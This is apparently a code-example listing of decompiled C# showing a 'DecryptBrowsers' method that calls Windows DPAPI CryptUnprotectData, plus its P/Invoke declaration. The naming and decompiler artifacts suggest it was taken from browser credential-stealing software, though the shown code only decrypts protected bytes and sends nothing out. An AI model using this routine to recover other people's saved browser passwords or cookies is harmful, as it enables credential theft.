Пример #1
0
        // Token: 0x06000003 RID: 3 RVA: 0x000024D4 File Offset: 0x000006D4
        public static byte[] DecryptBrowsers(byte[] cipherTextBytes, byte[] entropyBytes = null)
        {
            DecryptAPI.DataBlob dataBlob  = default(DecryptAPI.DataBlob);
            DecryptAPI.DataBlob dataBlob2 = default(DecryptAPI.DataBlob);
            DecryptAPI.DataBlob dataBlob3 = default(DecryptAPI.DataBlob);
            DecryptAPI.CryptprotectPromptstruct cryptprotectPromptstruct = new DecryptAPI.CryptprotectPromptstruct
            {
                cbSize        = Marshal.SizeOf(typeof(DecryptAPI.CryptprotectPromptstruct)),
                dwPromptFlags = 0,
                hwndApp       = IntPtr.Zero,
                szPrompt      = null
            };
            string empty = string.Empty;

            try
            {
                try
                {
                    if (cipherTextBytes == null)
                    {
                        cipherTextBytes = new byte[0];
                    }
                    dataBlob2.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);
                    dataBlob2.cbData = cipherTextBytes.Length;
                    Marshal.Copy(cipherTextBytes, 0, dataBlob2.pbData, cipherTextBytes.Length);
                }
                catch
                {
                }
                try
                {
                    if (entropyBytes == null)
                    {
                        entropyBytes = new byte[0];
                    }
                    dataBlob3.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
                    dataBlob3.cbData = entropyBytes.Length;
                    Marshal.Copy(entropyBytes, 0, dataBlob3.pbData, entropyBytes.Length);
                }
                catch
                {
                }
                DecryptAPI.CryptUnprotectData(ref dataBlob2, ref empty, ref dataBlob3, IntPtr.Zero, ref cryptprotectPromptstruct, 1, ref dataBlob);
                byte[] array = new byte[dataBlob.cbData];
                Marshal.Copy(dataBlob.pbData, array, 0, dataBlob.cbData);
                return(array);
            }
            catch
            {
            }
            finally
            {
                if (dataBlob.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob.pbData);
                }
                if (dataBlob2.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob2.pbData);
                }
                if (dataBlob3.pbData != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(dataBlob3.pbData);
                }
            }
            return(new byte[0]);
        }
Пример #2
0
 private static extern bool CryptUnprotectData(ref DecryptAPI.DataBlob pCipherText, ref string pszDescription, ref DecryptAPI.DataBlob pEntropy, IntPtr pReserved, ref DecryptAPI.CryptprotectPromptstruct pPrompt, int dwFlags, ref DecryptAPI.DataBlob pPlainText);